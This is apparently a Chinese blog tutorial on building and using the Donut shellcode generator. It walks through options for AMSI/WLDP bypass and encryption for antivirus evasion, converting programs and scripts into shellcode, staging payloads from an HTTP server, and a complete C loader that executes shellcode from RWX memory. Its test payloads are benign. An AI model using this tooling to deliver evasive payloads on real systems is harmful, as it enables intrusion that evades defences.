第18节 神级开源shellcode工具:donut

我做了一个关于shellcode入门和开发的专题👩🏻‍💻,主要面向对网络安全技术感兴趣的小伙伴。这是视频版内容对应的文字版材料,内容里面的每一个环境我都亲自测试实操过的记录,有需要的小伙伴可以参考。

我的个人主页:https://imbyter.com

目录

一、Donut是什么​

 二、Donut的特点​

三、功能参数解读​

四、Donut的编译​

1. 将CMD设置为VS的x86编译环境变量​

2. 编译源码获得loader_exe_x86.h文件​

五、将CMD设置为VS的x64编译环境变量​

编译源码获得最终文件​

六、功能场景测试​

1. 将原生exe转为shellcode​

2. 将原生dll转为shellcode​

3. 将.net exe转为shellcode​

4. 将.net dll转为shellcode​

5. 远程加载shellcode​

6. 将vbs/js/xsl转为shellcode​

7. shellcode加载器​

七、集成开发​

如何使用donut.dll文件​

八、存在问题​

1. 不支持转换的情况​

2. 兼容性存在的问题​

九、代码附件​

对4.1测试exe源码​

对4.2测试dll源码​

对4.3测试.net exe源码​

对4.4测试.net dll源码​

对4.7shellcode加载器源码​

十、参考资料​


一、Donut是什么

Donut是一款shellcode生成器,可将C/C++、C#生成的PE文件转换为shellcode文件,同时支持JS、XSL、VBS脚本转换为shellcode。 Donut生成的shellcode可以从HTTP服务器上加载,也可以从本地加载。生成的shellcode模块支持128位比特随机密钥加密,支持压缩解压且支持AMSI与WLDP的Bypass。

 二、Donut的特点

  1. 对目标文件转换为shellcode的过程中,支持数据压缩,包括aPLib、LZNT1、Xpress,,以及Xpress Huffman等五种算法。
  2. 使用通过函数字符串的hash值来定位API地址。
  3. 支持128位密钥对称加密。
  4. 支持对Windows的AMSI接口和WLDP策略的规避。
  5. 支持PE文件参数传入。
  6. 能够避免退出函数对主线程的强制退出行为(Patching exit-related API to avoid termination of host process)。
  7. 支持多种输出格式,包括C语言、Ruby、Python、Powershell、Base64、C#以及16进制格式。
  8. 支持静态库与动态库的生成,方便集成到第三方项目中。

三、功能参数解读

在命令行中直接输入 donut.exe 回车即可查看 donut 所支持的功能参数,如下:

选项 说明 描述
-n <name> HTTP服 务 器 加 载 模 式 下 的 模 块 名 , 如 果 启 用 熵 等 级 , 则 模 块 名 随 机 。
-s <server> 在 HTTP服 务 器 中 用 来 存 储 模 块 的 URL地 址 。
-e <level> 熵 等 级 : 1=无 , 2=随 机 名 , 3=随 机 名 +加 密 ( 默 认 ) 。
-a <arch> 目 标 构 架 : 1=x86, 2=amd64, 3=x86+amd64( 默 认 ) 。
-b <level> 绕 过 AMSI/WLDP: 1=不 启 用 ( 默 认 ) , 2=启 用 , 失 败 则 终 止 , 3=启 用 , 失 败 仍 继 续 。
-o <path> 保 存 文 件 名 ( 含 路 径 ) , 默 认 是 "shellcode.bin"。
-f <format> 输 出 格 式 : 1=Binary (默 认 ), 2=Base64, 3=C, 4=Ruby, 5=Python, 6=Powershell, 7=C#, 8=Hex。
-y <addr> 为 加 载 器 创 建 线 程 , 并 在 提 供 地 址 处 继 续 执 行 。
-x <action> 退 出 : 1=退 出 线 程 ( 默 认 ) , 2=退 出 进 程 。
-c <namespace.class> 选 类 名 ( .NET DLL需 要 ) 。
-d <name> 为 .NET程 序 集 创 建 的 AppDomain名 称 。 如 果 启 用 了 熵 , 则 会 随 机 产 生 。
-m `<method api>`
-p <arguments> DDL或 EXE的 可 选 参 数 或 命 令 行 ( 需 要 用 双 引 号 包 含 ) 。
-w 传 递 给 标 准 动 态 链 接 库 DLL( 非 .Net DLL) 函 数 Unicode编 码 的 参 数 ( 默 认 是 ANSI) 。
-r <version> CLR运 行 时 版 本 , 默 认 使 用 MetaHeader, 如 果 没 有 则 使 用 v4.0.30319。
-t 将 标 准 的 EXE( 非 托 管 ) 入 口 点 作 为 线 程 执 行 。
-z <engine> 打 包 /压 缩 文 件 : 1=None, 2=aPLib( 默 认 ) , 3=LZNT1, 4=Xpress, 5=Xpress Huffman。

本文使用的donut汉化版执行时,默认使用参数:

-a 3 -b 1 -e 3 -f 1 -x 1 -z 2 -o "shellcode.bin"

四、Donut的编译

在Windows下使用Microsoft Visual Studio进行编译:

1. 将CMD设置为VS的x86编译环境变量

将CMD切换到D:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build目录(各个VS版本路径有所不同),执行vcvar32.bat。

2. 编译源码获得loader_exe_x86.h文件

  1. 将CMD切换到到donut根目录,执行nmake donut -f Makefile.msvc。
  2. 得到 loader_exe_x86.h,错误忽略。

五、将CMD设置为VS的x64编译环境变量

新打开CMD切换到D:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build目录(各个VS版本路径有所不同),执行vcvar64.bat。

编译源码获得最终文件

  1. 将CMD切换到到donut目录,执行nmake donut -f Makefile.msvc。
  2. 得到 donut.exe、lib\donut.dll,以及lib\donut.lib文件。

六、功能场景测试

以下“原生”EXE/DLL指非托管PE文件(包括并不限于C/C++、delphie等编写生成的可执行文件),可以直接由系统加载运行,区别于.Net生成的托管文件。

1. 将原生exe转为shellcode

测试程序cexe.exe源代码见文末代码附件。

  1. 不带参数的exe文件转换为shellcode,直接执行:donut.exe cexe.exe

    • 实例类型:嵌入 表示原文件cexe.exe被嵌入到生成的shellcode内部了。

    • 模块文件:"cexe.exe" 表示要处理的目标文件是cexe.xe。

    • 熵:随机 + 加密 表示cexe.exe被转为shellcode时使用了随机密钥加密方式。我们可以对同一个cexe.exe连续进行两次处理,然后对比前后生成的两个文件,会发现两个文件数据并不一样。也就是说如果启用了熵的随机加密参数,那么每次生成的shellcode文件均不一样,在对于抗分析与免杀对抗有一定效果。使用“Beyond Compare”比较二文件效果(红色区域表示不同之处):

  2. 带参数的exe转换为shellcode,执行:donut.exe CExe64.exe -p "参数1 参数2"参数:参数1 参数2 表示对CExe64.exe文件传入了两个参数,一个是“参数1”,一个是“参数2”。 如果一个参数中有空格,则以"来包含,比如: > donut.exe CExe64.exe -p "\"参数1第一部分 参数1第二部分\" 参数2 参数3"

2. 将原生dll转为shellcode

  1. 无导出函数的dll转为shellcode

    donut.exe CDll64.dll

  2. 有导出函数的dll转为shellcode

    donut.exe CDll.dll -m fun

    • -m fun:表示执行dll的导出函数fun

    • 函数:fun 表示生成的shellcode会调用dll的导出函数fun。

3. 将.net exe转为shellcode

donut.exe后面直接跟要转的.net exe即可:donut.exe DotNet.exe

4. 将.net dll转为shellcode

donut.exe DotDLl.dll -c TestClass -m RunProcess -p "calc notepad"

  • -c TestClass:表示该程序类名为TestClass;
  • -m RunProcess:表示该程序入口函数为RunProcess;
  • -p "calc notepad":表示传递了两个参数,一个calc,一个notepad;

5. 远程加载shellcode

donut支持从远程HTTP服务器获取shellcode并执行:donut.exe CExe32.exe -n a.php -s http://192.168.1.22

  • -n a.php:表示生成放在HTTP服务器上的shellcode文件名为a.php;
  • -s http://192.168.1.22:表示本地运行"加载器shellcode"(即shellcode.bin)时,会从该URL获取a.php;
  • 模块名称:a.php CEexe32.exe转换的shellcode文件,需要放在http://192.168.1.22的根目录
  • 上传到:http://192.168.1.22 a.php需要放置的URL路径。
  • shellcode:“shellcode.bin” 注意,此处生成的shellcode.bin并非包含CExe32.exe的shellcode,而是donut自带的用于从HTTP服务器下载并执行shellcode的功能模块。

6. 将vbs/js/xsl转为shellcode

  1. 将如下demo.vbs转为shellcode:donut.exe demo.vbs

    demo.vbs源码:

    rem 获取主机名
    Const HKEY_LOCAL_MACHINE = &H80000002
    strRegKey = "SYSTEM\CurrentControlSet\Services\Tcpip\Parameters"
    Set objReg = GetObject( "winmgmts:{impersonationLevel=impersonate}!//./root/default:StdRegProv" )
    objReg.GetStringValue HKEY_LOCAL_MACHINE, strRegKey, "Hostname", strHostname
    
    rem 获取系统版本
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    Set colOperatingSystems = objWMIService.ExecQuery _
    ("Select * from Win32_OperatingSystem")
    For Each objOperatingSystem in colOperatingSystems
    Msgbox  "OS: " & objOperatingSystem.Caption & " " & objOperatingSystem.Version & chr(13) & "Host Name: " & strHostName
    Next
  2. 将如下demo.js转为shellcode:donut.exe demo.js

    demo.js源码:

    var a = new ActiveXObject("WScript.Shell");
    // 弹框提示1秒自动关闭
    a.popup('Hello, imbyter.com',1,'title',0+64);
    // 打开记事本
    a.Run("cmd.exe /c notepad.exe",0,true)

7. shellcode加载器

以上各种类型文件转为shellcode后,直接使用shellcode加载器(代码见下文)调用执行即可:

> LoadShellcode32.exe shellcode.bin

> LoadShellcode64.exe shellcode.bin

被处理exe/dll为32位程序,则需要用32为的shellcode加载器启用,exe/dll为64位的就用64位shellcode加载器启用。

七、集成开发

如何使用donut.dll文件

  1. 新建工程,将donut.h和donut.lib放到工程目录下:
  2. 如下代码:
    #include "donut.h"
    
    #pragma comment(lib,"donut")
    
    int main()
    {
        DONUT_CONFIG dc;
        memset(&dc, 0, sizeof(DONUT_CONFIG));
        dc.arch         = DONUT_ARCH_X84;
        dc.bypass       = DONUT_BYPASS_NONE;
        dc.compress     = DONUT_COMPRESS_NONE; 
        dc.exit_opt     = DONUT_OPT_EXIT_THREAD;
        dc.format       = DONUT_FORMAT_BINARY;
        dc.inst_type    = DONUT_INSTANCE_EMBED;
        dc.entropy      = DONUT_ENTROPY_DEFAULT;
        lstrcatA(dc.input, "CExe.exe");         // 目标文件
        lstrcatA(dc.output, "shellcode.bin");   // 生成文件
        int err = DonutCreate(&dc);
     
        return puts(DonutError(err));
    }
    结构体DONUT_CONFIG中的参数的宏定义,均可通过donut.h文件查看。
  3. 将编译后生成的exe和donut.dll放在同一个目录下,运行exe,即可得到shellcode.bin文件。

八、存在问题

1. 不支持转换的情况

能转换的标准exe/dll的PE结构中必须含有重定位表(.reloc),不含重定位表的不能转换,会有如下提示:

2. 兼容性存在的问题

  1. 实测donut对部分带界面(Desktop Application)的exe支持并不友好;

  2. 对存在dll导出函数需要参数传递的时候,只能传递一个参数;

九、代码附件

对4.1测试exe源码

#include <stdio.h>
#include <windows.h>
int main(int argc, char* argv[])
{
    if (argc == 3)
    {
        // 额外有两个参数传入时
        MessageBoxA(NULL, argv[1], argv[2], MB_OK);
    }
    else
    {
        // 只有一个或者没有额外参数传入时
        MessageBoxA(NULL, "Hello, imbyter.com", "tip", MB_OK);
    }
    return 0;
}

对4.2测试dll源码

#include <stdio.h>
#include <windows.h>

extern "C" __declspec(dllexport) void __stdcall fun()
{
    MessageBoxA(NULL, "Hello, imbyter.com", "tip", MB_OK);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L"DllMan测试", L"提示", MB_OK);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

对4.3测试.net exe源码

using System;
using System.Windows;

namespace DotNet
{
    internal class Program
    {
        static void Main(string[] args)
        {
            MessageBox.Show("Hello, imbyter.com");
        }
    }
}

对4.4测试.net dll源码

using System.Diagnostics;

public class TestClass
{
    public static void RunProcess(string path, string path2)
    {
        Process.Start(path);
        Process.Start(path2);
    }
}

对4.7shellcode加载器源码

#include <stdio.h>
#include <windows.h>

int main(int argc, char* argv[])
{
    if (argc == 2)
    {
        HANDLE hSCFile = CreateFileA(argv[1], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
        if (hSCFile == INVALID_HANDLE_VALUE)
        {
            return 0;
        }

        DWORD dwHighSize = 0;
        DWORD dwFileSize = GetFileSize(hSCFile, &dwHighSize);

        DWORD flOldProtect;
        DWORD dwAlreadyRead = 0;
        DWORD dwReadSum = 0;

        LPVOID g_pShellcode = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);

        VirtualProtect(g_pShellcode, dwFileSize, PAGE_EXECUTE_READWRITE, &flOldProtect);

        ReadFile(hSCFile, (char*)g_pShellcode, dwFileSize, &dwAlreadyRead, NULL);
        CloseHandle(hSCFile);

        /* 以下方式调用shellcode用仅支持x86版本
        _asm
        {
            pushad

            call g_pShellcode
            popad
        }
        */

        /* 以下方式调用shellcode能够x86和x64通用 */
        typedef void (*FN_Shellcode)();
        FN_Shellcode fn_Shellcode = (FN_Shellcode)g_pShellcode;
        fn_Shellcode();

        puts("the shellcode operation is successful!");
        system("pause");
    }
    else
    {
        puts("e.g: TestShellcode.exe <shellcode file path>");
        system("pause");
    }
}

十、参考资料


如果有任何问题,欢迎在我们的知识社群『imbyter代码酷』中提问。

图片

一个人走得再快,不如一群人走得更远!🤜🤛


相关推荐

  1. 10:Vue3 论点

    2024-05-16 06:36:06       38 阅读
  2. 11: Vue3 动态参数

    2024-05-16 06:36:06       40 阅读
  3. 13:Vue3 声明反应状态ref()

    2024-05-16 06:36:06       44 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-05-16 06:36:06       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-16 06:36:06       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-16 06:36:06       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-16 06:36:06       20 阅读

热门阅读

  1. 第一个Rust程序

    2024-05-16 06:36:06       13 阅读
  2. 记一次若依项目组装树型结构数据的效率优化

    2024-05-16 06:36:06       13 阅读
  3. Python: 获取时间

    2024-05-16 06:36:06       12 阅读
  4. 《图像处理的璀璨星空:技术演进与热点聚焦》

    2024-05-16 06:36:06       12 阅读
  5. Uniapp基础面试

    2024-05-16 06:36:06       15 阅读
  6. iOS 学习资料

    2024-05-16 06:36:06       14 阅读
  7. Rust语言实现图像编码转换

    2024-05-16 06:36:06       13 阅读
  8. DB类的学习

    2024-05-16 06:36:06       13 阅读
  9. 从HTTP迁移到HTTPS:一篇全面的测试方案设计指南

    2024-05-16 06:36:06       11 阅读
  10. MyBatis的一二级缓存区别

    2024-05-16 06:36:06       14 阅读
  11. http 和 https 的区别及原理解析

    2024-05-16 06:36:06       15 阅读